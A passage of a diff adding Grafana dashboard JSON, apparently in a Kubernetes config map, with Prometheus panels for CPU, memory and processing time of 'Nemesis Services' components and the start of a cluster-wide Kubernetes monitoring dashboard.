+ "refId": "A"
+ }
+ ],
+ "title": "CPU Seconds/Min",
+ "type": "timeseries"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "decbytes"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 7,
+ "w": 11,
+ "x": 11,
+ "y": 19
+ },
+ "id": 32,
+ "options": {
+ "orientation": "auto",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "showThresholdLabels": false,
+ "showThresholdMarkers": true
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "expr": "avg_over_time(process_virtual_memory_bytes{instance=\"dotnet.default.svc.cluster.local:9801\"}[1m])",
+ "legendFormat": "__auto",
+ "range": true,
+ "refId": "A"
+ }
+ ],
+ "title": "Virtual Memory",
+ "type": "gauge"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "palette-classic"
+ },
+ "custom": {
+ "axisCenteredZero": false,
+ "axisColorMode": "text",
+ "axisLabel": "",
+ "axisPlacement": "auto",
+ "barAlignment": 0,
+ "drawStyle": "line",
+ "fillOpacity": 0,
+ "gradientMode": "none",
+ "hideFrom": {
+ "legend": false,
+ "tooltip": false,
+ "viz": false
+ },
+ "lineInterpolation": "linear",
+ "lineWidth": 1,
+ "pointSize": 5,
+ "scaleDistribution": {
+ "type": "linear"
+ },
+ "showPoints": "auto",
+ "spanNulls": false,
+ "stacking": {
+ "group": "A",
+ "mode": "none"
+ },
+ "thresholdsStyle": {
+ "mode": "off"
+ }
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ }
+ ]
+ },
+ "unit": "s"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 6,
+ "w": 11,
+ "x": 0,
+ "y": 26
+ },
+ "id": 33,
+ "options": {
+ "legend": {
+ "calcs": [],
+ "displayMode": "list",
+ "placement": "bottom",
+ "showLegend": false
+ },
+ "tooltip": {
+ "mode": "single",
+ "sort": "none"
+ }
+ },
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "expr": "rate(dotnet_service_process_sum[15m]) / rate(dotnet_service_process_count[15m])",
+ "legendFormat": "average time",
+ "range": true,
+ "refId": "A"
+ }
+ ],
+ "title": "Total Processing",
+ "type": "timeseries"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "palette-classic"
+ },
+ "custom": {
+ "axisCenteredZero": false,
+ "axisColorMode": "text",
+ "axisLabel": "",
+ "axisPlacement": "auto",
+ "barAlignment": 0,
+ "drawStyle": "line",
+ "fillOpacity": 0,
+ "gradientMode": "none",
+ "hideFrom": {
+ "legend": false,
+ "tooltip": false,
+ "viz": false
+ },
+ "lineInterpolation": "linear",
+ "lineWidth": 1,
+ "pointSize": 5,
+ "scaleDistribution": {
+ "type": "linear"
+ },
+ "showPoints": "auto",
+ "spanNulls": false,
+ "stacking": {
+ "group": "A",
+ "mode": "none"
+ },
+ "thresholdsStyle": {
+ "mode": "off"
+ }
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ }
+ ]
+ },
+ "unit": "s"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 6,
+ "w": 11,
+ "x": 11,
+ "y": 26
+ },
+ "id": 39,
+ "options": {
+ "legend": {
+ "calcs": [],
+ "displayMode": "list",
+ "placement": "bottom",
+ "showLegend": false
+ },
+ "tooltip": {
+ "mode": "single",
+ "sort": "none"
+ }
+ },
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "expr": "rate(dotnet_service_process_sum[15m]) / rate(dotnet_service_process_count[15m])",
+ "legendFormat": "average time",
+ "range": true,
+ "refId": "A"
+ }
+ ],
+ "title": "Total Processing",
+ "type": "timeseries"
+ }
+ ],
+ "title": "dotnet",
+ "type": "row"
+ },
+ {
+ "collapsed": true,
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 27
+ },
+ "id": 36,
+ "panels": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "palette-classic"
+ },
+ "custom": {
+ "axisCenteredZero": false,
+ "axisColorMode": "text",
+ "axisLabel": "",
+ "axisPlacement": "auto",
+ "barAlignment": 0,
+ "drawStyle": "line",
+ "fillOpacity": 0,
+ "gradientMode": "none",
+ "hideFrom": {
+ "legend": false,
+ "tooltip": false,
+ "viz": false
+ },
+ "lineInterpolation": "linear",
+ "lineWidth": 1,
+ "pointSize": 5,
+ "scaleDistribution": {
+ "type": "linear"
+ },
+ "showPoints": "auto",
+ "spanNulls": false,
+ "stacking": {
+ "group": "A",
+ "mode": "none"
+ },
+ "thresholdsStyle": {
+ "mode": "off"
+ }
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "sec/min"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 7,
+ "w": 11,
+ "x": 0,
+ "y": 4
+ },
+ "id": 37,
+ "options": {
+ "legend": {
+ "calcs": [],
+ "displayMode": "list",
+ "placement": "bottom",
+ "showLegend": false
+ },
+ "tooltip": {
+ "mode": "single",
+ "sort": "none"
+ }
+ },
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "exemplar": false,
+ "expr": "sum(rate(process_cpu_seconds_total{instance=\"es-connector.default.svc.cluster.local:8000\", job=\"nemesis-services\"}[1m]))",
+ "instant": false,
+ "interval": "10s",
+ "legendFormat": "sec/min",
+ "range": true,
+ "refId": "A"
+ }
+ ],
+ "title": "CPU Seconds/Min",
+ "type": "timeseries"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "decbytes"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 7,
+ "w": 11,
+ "x": 11,
+ "y": 4
+ },
+ "id": 38,
+ "options": {
+ "orientation": "auto",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "showThresholdLabels": false,
+ "showThresholdMarkers": true
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "expr": "avg_over_time(process_virtual_memory_bytes{instance=\"es-connector.default.svc.cluster.local:8000\"}[1m])",
+ "legendFormat": "__auto",
+ "range": true,
+ "refId": "A"
+ }
+ ],
+ "title": "Virtual Memory",
+ "type": "gauge"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "palette-classic"
+ },
+ "custom": {
+ "axisCenteredZero": false,
+ "axisColorMode": "text",
+ "axisLabel": "",
+ "axisPlacement": "auto",
+ "barAlignment": 0,
+ "drawStyle": "line",
+ "fillOpacity": 0,
+ "gradientMode": "none",
+ "hideFrom": {
+ "legend": false,
+ "tooltip": false,
+ "viz": false
+ },
+ "lineInterpolation": "linear",
+ "lineWidth": 1,
+ "pointSize": 5,
+ "scaleDistribution": {
+ "type": "linear"
+ },
+ "showPoints": "auto",
+ "spanNulls": false,
+ "stacking": {
+ "group": "A",
+ "mode": "none"
+ },
+ "thresholdsStyle": {
+ "mode": "off"
+ }
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ }
+ ]
+ },
+ "unit": "s"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 6,
+ "w": 11,
+ "x": 0,
+ "y": 11
+ },
+ "id": 34,
+ "options": {
+ "legend": {
+ "calcs": [],
+ "displayMode": "list",
+ "placement": "bottom",
+ "showLegend": false
+ },
+ "tooltip": {
+ "mode": "single",
+ "sort": "none"
+ }
+ },
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "expr": "rate(process_file_data_enriched_sum[15m]) / rate(process_file_data_enriched_count[15m])",
+ "legendFormat": "average time",
+ "range": true,
+ "refId": "A"
+ }
+ ],
+ "title": "process_file_data_enriched",
+ "type": "timeseries"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "palette-classic"
+ },
+ "custom": {
+ "axisCenteredZero": false,
+ "axisColorMode": "text",
+ "axisLabel": "",
+ "axisPlacement": "auto",
+ "barAlignment": 0,
+ "drawStyle": "line",
+ "fillOpacity": 0,
+ "gradientMode": "none",
+ "hideFrom": {
+ "legend": false,
+ "tooltip": false,
+ "viz": false
+ },
+ "lineInterpolation": "linear",
+ "lineWidth": 1,
+ "pointSize": 5,
+ "scaleDistribution": {
+ "type": "linear"
+ },
+ "showPoints": "auto",
+ "spanNulls": false,
+ "stacking": {
+ "group": "A",
+ "mode": "none"
+ },
+ "thresholdsStyle": {
+ "mode": "off"
+ }
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ }
+ ]
+ },
+ "unit": "s"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 6,
+ "w": 11,
+ "x": 11,
+ "y": 11
+ },
+ "id": 40,
+ "options": {
+ "legend": {
+ "calcs": [],
+ "displayMode": "list",
+ "placement": "bottom",
+ "showLegend": false
+ },
+ "tooltip": {
+ "mode": "single",
+ "sort": "none"
+ }
+ },
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "expr": "rate(process_file_data_plaintext_sum[15m]) / rate(process_file_data_plaintext_count[15m])",
+ "legendFormat": "average time",
+ "range": true,
+ "refId": "A"
+ }
+ ],
+ "title": "process_file_data_plaintext",
+ "type": "timeseries"
+ }
+ ],
+ "title": "es_connector",
+ "type": "row"
+ },
+ {
+ "collapsed": true,
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 28
+ },
+ "id": 42,
+ "panels": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "palette-classic"
+ },
+ "custom": {
+ "axisCenteredZero": false,
+ "axisColorMode": "text",
+ "axisLabel": "",
+ "axisPlacement": "auto",
+ "barAlignment": 0,
+ "drawStyle": "line",
+ "fillOpacity": 0,
+ "gradientMode": "none",
+ "hideFrom": {
+ "legend": false,
+ "tooltip": false,
+ "viz": false
+ },
+ "lineInterpolation": "linear",
+ "lineWidth": 1,
+ "pointSize": 5,
+ "scaleDistribution": {
+ "type": "linear"
+ },
+ "showPoints": "auto",
+ "spanNulls": false,
+ "stacking": {
+ "group": "A",
+ "mode": "none"
+ },
+ "thresholdsStyle": {
+ "mode": "off"
+ }
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "sec/min"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 7,
+ "w": 11,
+ "x": 0,
+ "y": 5
+ },
+ "id": 43,
+ "options": {
+ "legend": {
+ "calcs": [],
+ "displayMode": "list",
+ "placement": "bottom",
+ "showLegend": false
+ },
+ "tooltip": {
+ "mode": "single",
+ "sort": "none"
+ }
+ },
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "exemplar": false,
+ "expr": "sum(rate(process_cpu_seconds_total{instance=\"ml-models.default.svc.cluster.local:5001\", job=\"nemesis-services\"}[1m]))",
+ "instant": false,
+ "interval": "10s",
+ "legendFormat": "sec/min",
+ "range": true,
+ "refId": "A"
+ }
+ ],
+ "title": "CPU Seconds/Min",
+ "type": "timeseries"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ },
+ {
+ "color": "red",
+ "value": 80
+ }
+ ]
+ },
+ "unit": "decbytes"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 7,
+ "w": 11,
+ "x": 11,
+ "y": 5
+ },
+ "id": 44,
+ "options": {
+ "orientation": "auto",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "showThresholdLabels": false,
+ "showThresholdMarkers": true
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "expr": "avg_over_time(process_virtual_memory_bytes{instance=\"ml-models.default.svc.cluster.local:5001\"}[1m])",
+ "legendFormat": "__auto",
+ "range": true,
+ "refId": "A"
+ }
+ ],
+ "title": "Virtual Memory",
+ "type": "gauge"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "palette-classic"
+ },
+ "custom": {
+ "axisCenteredZero": false,
+ "axisColorMode": "text",
+ "axisLabel": "",
+ "axisPlacement": "auto",
+ "barAlignment": 0,
+ "drawStyle": "line",
+ "fillOpacity": 0,
+ "gradientMode": "none",
+ "hideFrom": {
+ "legend": false,
+ "tooltip": false,
+ "viz": false
+ },
+ "lineInterpolation": "linear",
+ "lineWidth": 1,
+ "pointSize": 5,
+ "scaleDistribution": {
+ "type": "linear"
+ },
+ "showPoints": "auto",
+ "spanNulls": false,
+ "stacking": {
+ "group": "A",
+ "mode": "none"
+ },
+ "thresholdsStyle": {
+ "mode": "off"
+ }
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ }
+ ]
+ },
+ "unit": "s"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 6,
+ "w": 11,
+ "x": 0,
+ "y": 12
+ },
+ "id": 45,
+ "options": {
+ "legend": {
+ "calcs": [],
+ "displayMode": "list",
+ "placement": "bottom",
+ "showLegend": false
+ },
+ "tooltip": {
+ "mode": "single",
+ "sort": "none"
+ }
+ },
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "expr": "rate(process_document_sum[15m]) / rate(process_document_count[15m])",
+ "legendFormat": "average time",
+ "range": true,
+ "refId": "A"
+ }
+ ],
+ "title": "process_document",
+ "type": "timeseries"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "palette-classic"
+ },
+ "custom": {
+ "axisCenteredZero": false,
+ "axisColorMode": "text",
+ "axisLabel": "",
+ "axisPlacement": "auto",
+ "barAlignment": 0,
+ "drawStyle": "line",
+ "fillOpacity": 0,
+ "gradientMode": "none",
+ "hideFrom": {
+ "legend": false,
+ "tooltip": false,
+ "viz": false
+ },
+ "lineInterpolation": "linear",
+ "lineWidth": 1,
+ "pointSize": 5,
+ "scaleDistribution": {
+ "type": "linear"
+ },
+ "showPoints": "auto",
+ "spanNulls": false,
+ "stacking": {
+ "group": "A",
+ "mode": "none"
+ },
+ "thresholdsStyle": {
+ "mode": "off"
+ }
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ }
+ ]
+ },
+ "unit": "s"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 6,
+ "w": 11,
+ "x": 11,
+ "y": 12
+ },
+ "id": 46,
+ "options": {
+ "legend": {
+ "calcs": [],
+ "displayMode": "list",
+ "placement": "bottom",
+ "showLegend": false
+ },
+ "tooltip": {
+ "mode": "single",
+ "sort": "none"
+ }
+ },
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "expr": "rate(tokenize_sum[15m]) / rate(tokenize_count[15m])",
+ "legendFormat": "average time",
+ "range": true,
+ "refId": "A"
+ }
+ ],
+ "title": "tokenize",
+ "type": "timeseries"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "palette-classic"
+ },
+ "custom": {
+ "axisCenteredZero": false,
+ "axisColorMode": "text",
+ "axisLabel": "",
+ "axisPlacement": "auto",
+ "barAlignment": 0,
+ "drawStyle": "line",
+ "fillOpacity": 0,
+ "gradientMode": "none",
+ "hideFrom": {
+ "legend": false,
+ "tooltip": false,
+ "viz": false
+ },
+ "lineInterpolation": "linear",
+ "lineWidth": 1,
+ "pointSize": 5,
+ "scaleDistribution": {
+ "type": "linear"
+ },
+ "showPoints": "auto",
+ "spanNulls": false,
+ "stacking": {
+ "group": "A",
+ "mode": "none"
+ },
+ "thresholdsStyle": {
+ "mode": "off"
+ }
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ }
+ ]
+ },
+ "unit": "s"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 6,
+ "w": 11,
+ "x": 0,
+ "y": 18
+ },
+ "id": 47,
+ "options": {
+ "legend": {
+ "calcs": [],
+ "displayMode": "list",
+ "placement": "bottom",
+ "showLegend": false
+ },
+ "tooltip": {
+ "mode": "single",
+ "sort": "none"
+ }
+ },
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "expr": "rate(extract_passwords_model_sum[15m]) / rate(extract_passwords_model_count[15m])",
+ "legendFormat": "average time",
+ "range": true,
+ "refId": "A"
+ }
+ ],
+ "title": "extract_passwords_model",
+ "type": "timeseries"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "palette-classic"
+ },
+ "custom": {
+ "axisCenteredZero": false,
+ "axisColorMode": "text",
+ "axisLabel": "",
+ "axisPlacement": "auto",
+ "barAlignment": 0,
+ "drawStyle": "line",
+ "fillOpacity": 0,
+ "gradientMode": "none",
+ "hideFrom": {
+ "legend": false,
+ "tooltip": false,
+ "viz": false
+ },
+ "lineInterpolation": "linear",
+ "lineWidth": 1,
+ "pointSize": 5,
+ "scaleDistribution": {
+ "type": "linear"
+ },
+ "showPoints": "auto",
+ "spanNulls": false,
+ "stacking": {
+ "group": "A",
+ "mode": "none"
+ },
+ "thresholdsStyle": {
+ "mode": "off"
+ }
+ },
+ "mappings": [],
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "green",
+ "value": null
+ }
+ ]
+ },
+ "unit": "s"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 6,
+ "w": 11,
+ "x": 11,
+ "y": 18
+ },
+ "id": 48,
+ "options": {
+ "legend": {
+ "calcs": [],
+ "displayMode": "list",
+ "placement": "bottom",
+ "showLegend": false
+ },
+ "tooltip": {
+ "mode": "single",
+ "sort": "none"
+ }
+ },
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "editorMode": "code",
+ "expr": "rate(extract_terms_regex_sum[15m]) / rate(extract_terms_regex_count[15m])",
+ "legendFormat": "average time",
+ "range": true,
+ "refId": "A"
+ }
+ ],
+ "title": "extract_terms_regex",
+ "type": "timeseries"
+ }
+ ],
+ "title": "ml_models",
+ "type": "row"
+ }
+ ],
+ "refresh": false,
+ "schemaVersion": 37,
+ "style": "dark",
+ "tags": [],
+ "templating": {
+ "list": []
+ },
+ "time": {
+ "from": "now-30m",
+ "to": "now"
+ },
+ "timepicker": {},
+ "timezone": "",
+ "title": "Nemesis Services",
+ "uid": "N3YCCUFVk",
+ "version": 4,
+ "weekStart": ""
+ }
+ kubernetes_monitor.json: |-
+ {
+ "annotations": {
+ "list": [
+ {
+ "$$hashKey": "object:103",
+ "builtIn": 1,
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "enable": true,
+ "hide": true,
+ "iconColor": "rgba(0, 211, 255, 1)",
+ "name": "Annotations & Alerts",
+ "target": {
+ "limit": 100,
+ "matchAny": false,
+ "tags": [],
+ "type": "dashboard"
+ },
+ "type": "dashboard"
+ }
+ ]
+ },
+ "description": "Monitors Kubernetes cluster using Prometheus. Shows overall cluster CPU / Memory / Filesystem usage as well as individual pod, containers, systemd services statistics. Uses cAdvisor metrics only.",
+ "editable": true,
+ "fiscalYearStartMonth": 0,
+ "gnetId": 12740,
+ "graphTooltip": 0,
+ "id": 3,
+ "links": [],
+ "liveNow": false,
+ "panels": [
+ {
+ "collapsed": false,
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 0
+ },
+ "id": 33,
+ "panels": [],
+ "targets": [
+ {
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "refId": "A"
+ }
+ ],
+ "title": "Network I/O pressure",
+ "type": "row"
+ },
+ {
+ "aliasColors": {},
+ "bars": false,
+ "dashLength": 10,
+ "dashes": false,
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "decimals": 2,
+ "editable": true,
+ "error": false,
+ "fieldConfig": {
+ "defaults": {
+ "links": []
+ },
+ "overrides": []
+ },
+ "fill": 1,
+ "fillGradient": 0,
+ "grid": {},
+ "gridPos": {
+ "h": 6,
+ "w": 24,
+ "x": 0,
+ "y": 1
+ },
+ "height": "200px",
+ "hiddenSeries": false,
+ "id": 32,
+ "isNew": true,
+ "legend": {
+ "alignAsTable": false,
+ "avg": true,
+ "current": true,
+ "max": false,
+ "min": false,
+ "rightSide": false,
+ "show": false,
+ "sideWidth": 200,
+ "sort": "current",
+ "sortDesc": true,
+ "total": false,
+ "values": true
+ },
+ "lines": true,
+ "linewidth": 2,
+ "links": [],
+ "nullPointMode": "connected",
+ "options": {
+ "alertThreshold": true
+ },
+ "percentage": false,
+ "pluginVersion": "9.3.1",
+ "pointradius": 5,
+ "points": false,
+ "renderer": "flot",
+ "seriesOverrides": [],
+ "spaceLength": 10,
+ "stack": false,
+ "steppedLine": false,
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "expr": "sum (rate (container_network_receive_bytes_total{kubernetes_io_hostname=~\"^$Node$\"}[1m]))",
+ "interval": "10s",
+ "intervalFactor": 1,
+ "legendFormat": "Received",
+ "metric": "network",
+ "refId": "A",
+ "step": 10
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "expr": "- sum (rate (container_network_transmit_bytes_total{kubernetes_io_hostname=~\"^$Node$\"}[1m]))",
+ "interval": "10s",
+ "intervalFactor": 1,
+ "legendFormat": "Sent",
+ "metric": "network",
+ "refId": "B",
+ "step": 10
+ }
+ ],
+ "thresholds": [],
+ "timeRegions": [],
+ "title": "Network I/O pressure",
+ "tooltip": {
+ "msResolution": false,
+ "shared": true,
+ "sort": 0,
+ "value_type": "cumulative"
+ },
+ "type": "graph",
+ "xaxis": {
+ "mode": "time",
+ "show": true,
+ "values": []
+ },
+ "yaxes": [
+ {
+ "format": "Bps",
+ "logBase": 1,
+ "show": true
+ },
+ {
+ "format": "Bps",
+ "logBase": 1,
+ "show": false
+ }
+ ],
+ "yaxis": {
+ "align": false
+ }
+ },
+ {
+ "collapsed": false,
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "gridPos": {
+ "h": 1,
+ "w": 24,
+ "x": 0,
+ "y": 7
+ },
+ "id": 34,
+ "panels": [],
+ "targets": [
+ {
+ "datasource": {
+ "type": "datasource",
+ "uid": "grafana"
+ },
+ "refId": "A"
+ }
+ ],
+ "title": "Total usage",
+ "type": "row"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "max": 100,
+ "min": 0,
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "rgba(50, 172, 45, 0.97)",
+ "value": null
+ },
+ {
+ "color": "rgba(237, 129, 40, 0.89)",
+ "value": 65
+ },
+ {
+ "color": "rgba(245, 54, 54, 0.9)",
+ "value": 90
+ }
+ ]
+ },
+ "unit": "percent"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 5,
+ "w": 8,
+ "x": 0,
+ "y": 8
+ },
+ "id": 4,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "showThresholdLabels": false,
+ "showThresholdMarkers": true
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "expr": "sum (container_memory_working_set_bytes{id=\"/\",kubernetes_io_hostname=~\"^$Node$\"}) / sum (machine_memory_bytes{kubernetes_io_hostname=~\"^$Node$\"}) * 100",
+ "interval": "10s",
+ "intervalFactor": 1,
+ "refId": "A",
+ "step": 10
+ }
+ ],
+ "title": "Cluster memory usage",
+ "type": "gauge"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "decimals": 2,
+ "mappings": [
+ {
+ "options": {
+ "match": "null",
+ "result": {
+ "text": "N/A"
+ }
+ },
+ "type": "special"
+ }
+ ],
+ "max": 100,
+ "min": 0,
+ "thresholds": {
+ "mode": "absolute",
+ "steps": [
+ {
+ "color": "rgba(50, 172, 45, 0.97)",
+ "value": null
+ },
+ {
+ "color": "rgba(237, 129, 40, 0.89)",
+ "value": 65
+ },
+ {
+ "color": "rgba(245, 54, 54, 0.9)",
+ "value": 90
+ }
+ ]
+ },
+ "unit": "percent"
+ },
+ "overrides": []
+ },
+ "gridPos": {
+ "h": 5,
+ "w": 8,
+ "x": 8,
+ "y": 8
+ },
+ "id": 6,
+ "links": [],
+ "maxDataPoints": 100,
+ "options": {
+ "orientation": "horizontal",
+ "reduceOptions": {
+ "calcs": [
+ "lastNotNull"
+ ],
+ "fields": "",
+ "values": false
+ },
+ "showThresholdLabels": false,
+ "showThresholdMarkers": true
+ },
+ "pluginVersion": "9.3.1",
+ "targets": [
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "expr": "sum (rate (container_cpu_usage_seconds_total{id=\"/\",kubernetes_io_hostname=~\"^$Node$\"}[1m])) / sum (machine_cpu_cores{kubernetes_io_hostname=~\"^$Node$\"}) * 100",
+ "interval": "10s",
+ "intervalFactor": 1,
+ "refId": "A",
+ "step": 10
+ }
+ ],
+ "title": "Cluster CPU usage (1m avg)",
+ "type": "gauge"
+ },
+ {
+ "datasource": {
+ "type": "prometheus",
+ "uid": "P1809F7CD0C75ACF3"
+ },
+ "fieldConfig": {
+ "defaults": {
+ "color": {
+ "mode": "thresholds"
+ },
+ "decimals": 2,
+ "mappings": [
+ {
